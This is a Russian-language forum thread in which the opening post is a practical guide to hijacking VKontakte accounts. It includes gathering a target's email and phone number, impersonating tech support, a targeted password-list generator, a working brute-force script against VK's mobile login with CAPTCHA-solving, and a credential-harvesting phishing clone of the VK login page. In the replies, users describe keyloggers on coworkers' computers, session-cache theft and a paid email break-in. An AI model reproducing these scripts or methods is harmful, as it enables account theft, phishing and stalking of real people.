Как взломать Вконтакте?!

Как взломать Вконтакте?!  

  By: SleepWalker on 2016-01-23 11 ч.

Как взломать Вконтакте?!

award_month400.png

Наконец-то!!! Cкажут десятки/сотни школьников(и не очень), долгое время терроризировавших мои контакты. Еще раз повторяю, я не ломаю вконтактик за деньги, но для тех кому все-таки неймется, была написана эта статья.

Итак, как же взломать Вк?

Простой ответ - никак! Более полный - если учесть, что большинство пользователей совершают ошибки, то взлом возможен, но не путаем понятия. Уязвимости, позволяющей взламывать абсолютно любого юзера за пять сек нет и не будет. А если и будет, то никто не собирается вам ее предлагать. Поэтому, те способы, которые я представлю ниже, тем или иным образом направлены на обман юзера и используют отсутствие у него мозга.

Разделим весь процесс на несколько этапов. Первоначально нам понадобится цель,свободное время, безопасный доступ к вк(если хотим сохранить анонимность конечно) и можем приступать.

----------------------------

Этап №1 - "Сбор информации"

На этом этапе мы имеем страницу юзера, которого бы желательно взломать и нам необходимо собрать, как можно больше полезной информации, которая бы впоследствии помогла в успешном взломе.

Что же такого имеется на странице?
1) Урл страницы. Сохраняем себе айди или если там имеется буквенная замена, то ее. Аккаунты и прочее данного человека, всякого рода твиттеры и прочее.

2) Разумеется мы бы хотели заиметь почту цели.
Писать ему/ей напрямую и выпытывать? В большинстве случаев это не потребуется. Если человек не только попал в сеть, вы сможете найти почту путем простого гугления. Например особо удобно отыскивать мыло на мэйл ру. Один из способов - это просто погуглить фио цели и дату рождения. Или же другого рода такие комбинации. Если цель имеет мой мир на маиле, то почта будет в коде страницы или же в урл.
Если просто имеется почта без соц.сети от мейла ее тоже можно запросто выяснить зарегавши себе другую почту на этом сервисе и поискав в мессенджере от мэйла.

И как вариант вы можете поискать полезную информацию с помощью имеющихся у цели аккаунтов. То есть берем например никнейм в Твиттере/Фейсбуке/другое и пробиваем по популярным почтовым сервисам. Также в Твиттере можно использовать форму восстановления и узнать часть почты. В фейсбуке можно напрямую поискать аккаунт введя почту в поиск. И в некоторых сервисах есть такая штука, как импорт почтовых контактов и предложение добавить этих людей в друзья. То есть можно зарегать левую почту и узнать дополнительные аккаунты.
Если почта не была запалена сразу, то найти ее можно только так с помощью последовательного поиска полезной информации.

3) Телефон.
А как же узнать номер человека? Если исключить такие варианты, как публикация юзером своего номера на странице(есть и такие) и например использования им телефона для связи в каком-либо проекте, где он выложен в открытую(Авито/Свой сайт/Покупка или продажа недвижимости/Другое), то остается лишь этот вариант.

Есть такой, не сказать открытый, но достаточно простой способ, позволяющий узнать номер юзера, если у вас имеется несколько его аккаунтов, привязанных к одной и той же почте.
Приведу пример:
Имеется почта юзера на маиле. Вводим ее в форму восстановления вконтакте и нам пишет часть номера. Вводим также ее на маиле в восстановлении. И если номер там привязан, то вы увидите уже, другую часть номера. Если почта не привязана, то тогда там есть секретный вопрос. Перебираем его и заставляем юзера привязать мобилку на сервис.
Теперь у вас не хватает лишь двух цифр от почты. Чтобы их узнать достаточно перебрать форму восстановления вк уже с помощью номера. Всего-то 99 раз. Можно и автоматизировать. А когда будет запрашивать фамилию страницы, как доп защиту, запросто вводим ее. Ведь мы же знаем страницу цели.

Также в некоторых случаях люди любят публиковать свой номер на странице, но закрывать часть номера звездочками, черточками и тд. Это тупость еще та. Если вам повезет, то будут незакрыты именно те цифры, которые вам недоступны в форме восстановления вк.


Этап №2 - "Собственно взлом"
В данном этапе вы должны получить доступ к аккаунту цели. Я опишу самые простые способы.

Основные способы:
1) "Социнженер"
Сразу скажу этот способ годится либо для совсем школьников, либо наоборот для стариков, которые мало что знают об интернете, но решили по каким-либо причинам зарегаться в соц.сети.
Если вы хотите просто попрактиковаться, то новички вк могут быть найдены
здесь - vk.com/catalog.php

В основном тут используется простой механизм. Человек, который не разбирается в чем-то, подсознательно доверяет более опытным юзерам/админам/техподдержке и принимает их слова на веру.

Тут можно создать аккаунт представителя техподдержки, создать "официальную" почту администрации и прочее. И придумать некую ахуительную историю. Что новые юзеры обязаны проходить проверку после регистрации и дать например ссылку на некий тест, по итогу или для входа которого требуется логин-пасс от вк. Главное в общем-то не заострять внимание на пароле. Просто писать,что можете ли вы написать мне свои данные от аккаунта не стоит. Следует убедить пользователя, что он в безопасности. Этот способ хорошо сочетается с фейком. Кроме того продвинутые социнженеры могут узнав номер юзера позвонив(разумеется анонимно, используя sip) и развести напрямую. Кроме того все извлеченная вами информация, например известный вам номер телефона/упоминание фактов с указанием дат/другое косвенно говорит о том, что вы из техподдержки(для лохов) или кулхацкер, как мы знаем.

В данном способе все зависит от вас, поэтому вы можете прокачать свои навыки на разного рода новичках в вк, а потом переходить к более-менее обычным юзерам.


2) "Умный брутфорс"
Брутфорс - это перебор пароля, кто не в курсе. Данная атака сработает, если наша цель - среднестатический юзер, который ставит слабые пароли на свои аккаунты, для более легкого запоминания.

Для него нам понадобится, заточенный исключительно под нашего юзера словарь. Такой неоткуда не возьмешь, поэтому составляем сами. Что у нас есть?
Представлю примеры(персонаж вымышленный).

-- Дата рождения - 17.11.1992 = 1711, 1992, 17111992 
-- Возраст - 2016 - 1992 = 24
-- Имя - Стас = stas, ctac
-- Фамилия - Курягин = kuryagin,
-- Аккаунты - twitter.com/stasik_ku , facebook.com/stasss1992, stasss92 @ mail.ru = stasik_ku, stasss1992, stasss92
-- Увлечения - футбол, плавание, молодежка = football, swimming, molodejka, molodegka

Также есть страница вк, на которой написано какие пароли следует указывать, какие символы возможны и самые частые пароли. https://vk.com/page-777107_1000339

Получился лист из 14 строк. Но из него еще нужно создать комбинации паролей, которые мог бы создать недалекий юзер.

Представляю вам мой небольшой скрипт на python, который этим и занимается.

#! coding:utf-8

import sys,os

razdel = ['_',':',';']

def uniq(seq):
    seen = set()
    seen_add = seen.add
    return [x for x in seq if not (x in seen or seen_add(x))]

def brute_words(spisok):
    spisok2 = []
   
    for i in spisok:
        spisok2.append(i)
        spisok2.append(i[0].upper()+i[1:])
        spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper())
        spisok2.append(i.upper())
        for j in spisok:
            spisok2.append(i+j)
            for m in razdel:
                spisok2.append(j+m+i)
            spisok2.append(j+i)
            spisok2.append(i+i+j)
            spisok2.append(j+j+i)
            spisok2.append(i[0].upper()+i[1:]+j)
            spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper()+j)
   
    return uniq(spisok2)


def generate(spisok_file):
    o = open(spisok_file,'r')
       
    spisok = o.read().splitlines()

    for i in brute_words(spisok):
        print i

def main():
    try:
        argv1 = sys.argv[1]
        generate(argv1)
    except IndexError:
        print "Нужно указать файл"

    except IOError:
        print "Нет такого файла"


if __name__ == "__main__":
    main()

Из 14 получилось 1272 варианта. Приведу часть.

Molodegkactac
MolodegkActac
molodejka_molodegka
Stasss92molodejka
stasss92molodegka
molodegka_stasss92
molodegka:stasss92
molodegka;stasss92
stasss1992swimming
swimming_stasss1992
Kurayginctac
KuraygiNctac
kurayginkuraygin
kuraygin_kuraygin
molodegka17111992
1711199217111992molodegka
molodegkamolodegka17111992
24
1711_24
и тд...

Но что же с этим делать? Не сидеть же и перебирать вручную каждый пароль.
Разумеется, необходимо все более или менее автоматизировать.

Для этой цели я набросал небольшой скрипт, который брутит через мобильную версию вк.

#! coding: utf8
import grab,re,urllib2
from antigate import AntiGate
from grab import GrabTimeoutError
from time import sleep

cap_key = '123 ' #Ваш ключ с антигейт

def anti(key, file): #Получение решения капчи с антигейт
    try:
        try:
            data = AntiGate(key, file)
            return data
        except KeyboardInterrupt:
            print "Завершение"
    except:
        anti(key,file)


def save(url, file): #Скачивание файла по урл
    f = urllib2.urlopen(url)
    f2 = open(file, 'wb')
    f2.write(f.read())

def cap_solve(img):
    save(img, 'captcha.jpg')
    key = anti(cap_key, 'captcha.jpg')
    return key

def brute(login,passwords,save):
    o = open(save,'w')
    o2 = open(passwords,'r')

    try:
        int(login)
        prefix = True
    except:
        prefix = False
    g = grab.Grab()
    g.go('https://m.vk.com')
   
    for i in o2:
       
        i2 = i.rstrip('\r\n')
        g.doc.set_input('email',login)
        g.doc.set_input('pass',i2)
        g.doc.submit()

        if g.doc.text_search(u'captcha'):
            c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
            c2 = 'https://m.vk.com' + c1
            key = cap_solve(c2)
            g.doc.set_input('email',login)
            g.doc.set_input('pass',i2)
            g.doc.set_input('captcha_key',str(key))
            g.doc.submit()
            print "cap"

        if 'Подтвердить' in g.response.body:
            if prefix:
                prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0)
                prefix2 = g.doc.rex_search('<span class="field_prefix">&nbsp;[0-9]*</span>').group(0)
                pre1 = re.findall('[0-9]{1,}', prefix1)[0]
                pre2 = re.findall('[0-9]{1,}', prefix2)[0]
           
                login = login.replace(pre1,'')
                login = login.replace(pre2,'')
           
                g.set_input('code', login)
                g.submit()
                print login + ':' + i2 + '--success'
                o.write(login + ':' + i2 + '\n')
            else:
                o.write(login + ':' + i2 + '\n')
        else:
            if g.doc.rex_search('<title>[^>]+</title>').group(0) == '<title>Login | VK</title>':
                print login + ':' + i2 + '--fail'
            else:
                print login + ':' + i2 + '--success'
                o.write(login + ':' + i2 + '\n')
    o.close()
    o2.close()

Он для одиночной цели, не стал делать прокси,многопточность и прочие фишки.
А то школьники еще поломают кого)
За то он может сам ввести недостающие цифры в защиту вк заходе с другой страны. Также с помощью антигейт запросто вводит капчи, которые появляются после 5-6 попытки ввода с одного айпи.


3) "Фейк наше все"

Данный способ предназначен для невнимательных людей. По большей части их либо завлекают халявой, либо отвлекают внимание с помощью многобукв. Я покажу вам, как создать простой фейк на основе обычного сайта вк(страницы логина). Можете брать, как мобильную, так и основную версии зависит от того, с какого устройства будет заходить юзер.

Насчет регистрации на хостинге и покупки похожего домена ничего писать не буду, так как это банально просто.


----
Ручной способ:

Первым делом качаем страницу логина вк через ваш браузер. Затем смените кодировку html файла на utf-8.

Сначала определяем кодировку
file --mime-encoding file.html

Затем меняем с исходной на новую
iconv -f iso-8859-1 -t utf-8 file.html > vk2.html

Далее вам нужно создать управление страницей на серверном языке. Для этой цели
я также использовал python. Можно заюзать простейший фреймворк под названием bottle. Его плюс, в том что ему не нужны никакие зависимости. Просто качаете файл скрипта с сайта и все.

@route('/')
def index():
    return template('vk2.html')

@route('/Welcome! | VK_files/<filepath:path>')
def server_static(filepath):
    return static_file(filepath, root='./Welcome! | VK_files/')

После тестового запуска скрипта обнаружилась ошибка 404 на кое-каких файлах.

У нас к сожалению не имеется нужных картинок с сайта. Давайте положим их в отдельную папку images.

mkdir images
cd images
wget https://vk.com/images/hatf_vk.gif
wget "https://vk.com/images/darr_dd_out.gif"
wget "https://vk.com/images/backlink.gif"
mkdir icons
cd icons
wget "https://vk.com/images/icons/facebook_btn_icon.png"
wget "https://vk.com/images/icons/check.gif"

Пропишем новый роутинг в скрипте.

@route('/images/<filepath:path>')
def server_static(filepath):
    return static_file(filepath, root='./images/')


Теперь все стало на порядок красивее. Вы конечно можете скачать также основные страницы, на которые можно перейти с основной не залогинившись, чтобы было правдоподобней(а потом поменять ссылки в основной), но и одной хватит.

Чего же не хватает? Ах да конечно. После логина ничего не происходит. Давайте изменим это.

Добавим роутинг для пост запроса. Найдем форму логина на странице. Изменим в ее коде action на пустое и удалим проверку onsubmit. И добавим обработку post-запроса.

@post('/')
def index():
    login = request.forms.get('email')
    password = request.forms.get('pass')
    print "|Catch|-------------- " + login + ':' + password

    with open("log.txt", "a") as myfile:
        myfile.write(login + ':' + password + "\n")
   
    return redirect('https://www.vk.com')


Так работает. Правда пока лишь после нажатия enter, но не по клику кнопки.
Переносим тег button, что под формой в коде в пределы формы и добавляем свойство type="submit".
После этого кнопка работает, как надо.

Архив с готовым решением.


--
Автоматический способ:
Если хотите использовать уже готовое решение, то можно воспользоваться тулкитом SET. Social Engineer Toolkit. Входит в дистрибутив кали. Можно установить на обычный debian на сервере, используя репы kali или установив все зависимости по отдельности.

Используем функцию site cloner в составе set. В нем есть дополнительные возможности, такие как встраивание вредоносных скриптов прямо в страницу или же добавление опасных flash.

Как взломать Вконтакте?!  

  By: diamond on 2016-01-23 11 ч.

Re: Как взломать Вконтакте?!

спасибо, интересно!
"отделу К" работы прибавится)

Как взломать Вконтакте?!  

  By: BabaYaga on 2016-01-23 12 ч.

Re: Как взломать Вконтакте?!

Ничаво нового но спасибо=)

Как взломать Вконтакте?!  

  By: anshlag on 2016-01-23 12 ч.

Re: Как взломать Вконтакте?!

Вместо bottle рикамендую flask, но все равно неистово плюсую, как если б мог :)

 Вложения

Как взломать Вконтакте?!  

  By: numitira on 2016-01-23 13 ч.

Re: Как взломать Вконтакте?!

BabaYaga, правда ничего нового?  :/
А как же ваши посты аля?

BabaYaga пишет:

Чисто детский сад!
А ты попробуй через ТОр войти Вк, надоест теба каптчу вбивать!


Александр Овчепятович Зеленодинов-Зеленодилов-Залдостанов, 23.11.1983 AD
Говорят, что состою в паблике Злой Медик (или как то так) и что-то там пишу.

 Вложения

Как взломать Вконтакте?!  

  By: BabaYaga on 2016-01-23 13 ч.

Re: Как взломать Вконтакте?!

numitira пишет:

BabaYaga, правда ничего нового?  :/
А как же ваши посты аля?

BabaYaga пишет:

Чисто детский сад!
А ты попробуй через ТОр войти Вк, надоест теба каптчу вбивать!

Так я ему совет дал что бы он через тор попробовал ВК зайти, и что ему надоест вбивать каптчу, причем тут взлом ВК?

 Вложения

Как взломать Вконтакте?!  

  By: numitira on 2016-01-23 13 ч.

Re: Как взломать Вконтакте?!

BabaYaga пишет:

А ты попробуй через ТОр войти Вк, надоест теба каптчу вбивать!

Хм. Эта фраза подразумевает, что ты, когда работаешь с вк через тор, вбиваешь капчу. Ибо если бы это было не так - ты бы так не писал. Верно или неверно?  :/


Александр Овчепятович Зеленодинов-Зеленодилов-Залдостанов, 23.11.1983 AD
Говорят, что состою в паблике Злой Медик (или как то так) и что-то там пишу.

 Вложения

Как взломать Вконтакте?!  

  By: Nikkon on 2016-01-23 13 ч.

Re: Как взломать Вконтакте?!

Наканецта! Диванные хацкеры получат свой исчерпывающий гайд.


Знание - сила, храни его.
Услуги гаранта, гарантоспрос, DarkEngine.
Почта: [email protected]
Жаба:
[email protected]

Как взломать Вконтакте?!  

  By: BabaYaga on 2016-01-23 14 ч.

Re: Как взломать Вконтакте?!

numitira пишет:
BabaYaga пишет:

А ты попробуй через ТОр войти Вк, надоест теба каптчу вбивать!

Хм. Эта фраза подразумевает, что ты, когда работаешь с вк через тор, вбиваешь капчу. Ибо если бы это было не так - ты бы так не писал. Верно или неверно?  :/

Дальше читай вторую часть сообщение. Там вообще темка про анонимность а тут про взлом... Я ему совет дал что бы не юзать тор идти на форум и читать что бы не мучаться. Юзать VPN или Dedicated Server, что непонятного не понимаю!

 Вложения

Как взломать Вконтакте?!  

  By: numitira on 2016-01-23 14 ч.

Re: Как взломать Вконтакте?!

BabaYaga:trollface:
Ты на мой вопрос ответь - была для тебя информация с оригинальными скриптами на питоне с встроенным антигейтом не нова или нет?  :popcorn:


Александр Овчепятович Зеленодинов-Зеленодилов-Залдостанов, 23.11.1983 AD
Говорят, что состою в паблике Злой Медик (или как то так) и что-то там пишу.

Как взломать Вконтакте?!  

  By: DeeedS on 2016-01-23 16 ч.

Re: Как взломать Вконтакте?!

похоже ктото щас неловко себя чуствует..


ID: 66609205d0e1

Как взломать Вконтакте?!  

  By: Zed on 2016-01-23 17 ч.

Re: Как взломать Вконтакте?!

Отлично :) :up:

Как взломать Вконтакте?!  

  By: spurdo on 2016-01-23 20 ч.

Re: Как взломать Вконтакте?!

Статья понравилась, в том числе широтой охвата тем (СИ, брут, поднятие фейка).

Немного позанудствую.

SleepWalker пишет:
def uniq(seq):
    seen = set()
    seen_add = seen.add
    return [x for x in seq if not (x in seen or seen_add(x))]

Не проще так:

    def uniq(seq):
        return list(set(seq))

?

Редактировался spurdo (2016-01-23 20 ч.)


special-purpose undeground research and development organization
Зарегистрирован только на Рунионе. Связь только через ЛС форума.

Как взломать Вконтакте?!  

  By: Па on 2016-01-23 23 ч.

Re: Как взломать Вконтакте?!

spurdo, а вот ещё

-- Дата рождения - 17.11.1992 = 1711, 1992, 17111992
-- Возраст - 2016 - 1992 = 24

Слип респект за статью!


"Да и вообще, зачем кому-то устраивать такую масштабную фальсификацию?"
Дмитрий, новорег

Как взломать Вконтакте?!  

  By: Franc on 2016-01-24 10 ч.

Re: Как взломать Вконтакте?!

SleepWalker пишет:

Итак, как же взломать Вк?

Простой ответ - никак! Более полный - если учесть, что большинство пользователей совершают ошибки, то взлом возможен, но не путаем понятия. Уязвимости, позволяющей взламывать абсолютно любого юзера за пять сек нет и не будет.

Много раз пытался объяснить людям, что взлом акка - это как фокус. Со сотроны кажеться, что ты делаешь невозможное, на самом деле - ловкость рук и никакого мошеничества. Когда у меня было такое хобби - большинство моих друзей подрывались на том, что логинились с моего устройства. А на этот случай у меня всегда был на готове включённый кейлогер. Кстати, он у меня стоит и на всех компах на работе)) Пару недель собирания инфы - и все пароли моих коллег уже у меня.

Ещё один из методов, который я использовал, что бы получить доступ к странице - получал доступ к компьютеру жертвы, и копировал кэш браузера. После - заменял свой на него. И вуаля - незавершённая сессия в моём распоряжении =)

Как взломать Вконтакте?!  

  By: Postal on 2016-01-24 10 ч.

Re: Как взломать Вконтакте?!

Почёт и уважение ;)

 Вложения

Как взломать Вконтакте?!  

  By: FuWhite on 2016-01-24 10 ч.

Re: Как взломать Вконтакте?!

Реальный случай из практики. Был заказ на взлом мыла.

Сбор инфы по мылу, никам, имени ник, имени мыло и т.д. выдал кучу линков, в одном из которых был линк на страничку ВКонтакте. Так вот самое смешное, что в имени ника на странице ВКонтакте юзер использовал пароль от мыла  :facepalm:

Так что сбор информации наше все. Иногда и взламывать то ничего не нужно

 Вложения

Как взломать Вконтакте?!  

  By: Iskatel89 on 2016-01-24 12 ч.

Re: Как взломать Вконтакте?!

Полностью согласен с вышеотписавшемся

Как взломать Вконтакте?!  

  By: MadCat on 2016-01-24 21 ч.

Re: Как взломать Вконтакте?!

SleepWalker пишет:

Получился лист из 14 строк. Но из него еще нужно создать комбинации паролей, которые мог бы создать недалекий юзер.

Представляю вам мой небольшой скрипт на python, который этим и занимается.

Это очень полезный скрипт.
Касательно создания словаря добавлю, что часто в качестве паролей используются не комбинации имя+г.р. и т.п. а разнообразные анаграммы по типу Иванов=ivan0v/off или Чернов=4ern0v. Всевозможных вариаций огромное кол-во и такие пароли, к сожалению, получаются довольно устойчивы к "умному" бруту, но самые стандартные в словарь включать полезно.

Редактировался MadCat (2016-01-24 21 ч.)

Как взломать Вконтакте?!  

  By: SleepWalker on 2016-01-28 08 ч.

Re: Как взломать Вконтакте?!

spurdo пишет:

Не проще так:

согласен

MadCat пишет:

Всевозможных вариаций огромное кол-во и такие пароли, к сожалению, получаются довольно устойчивы к "умному" бруту, но самые стандартные в словарь включать полезно.

Я думаю те варианты которые ты сказал можно добавить просто в основной список самому. А скрипт уже сделает вариации и сочетания самые простые с ними..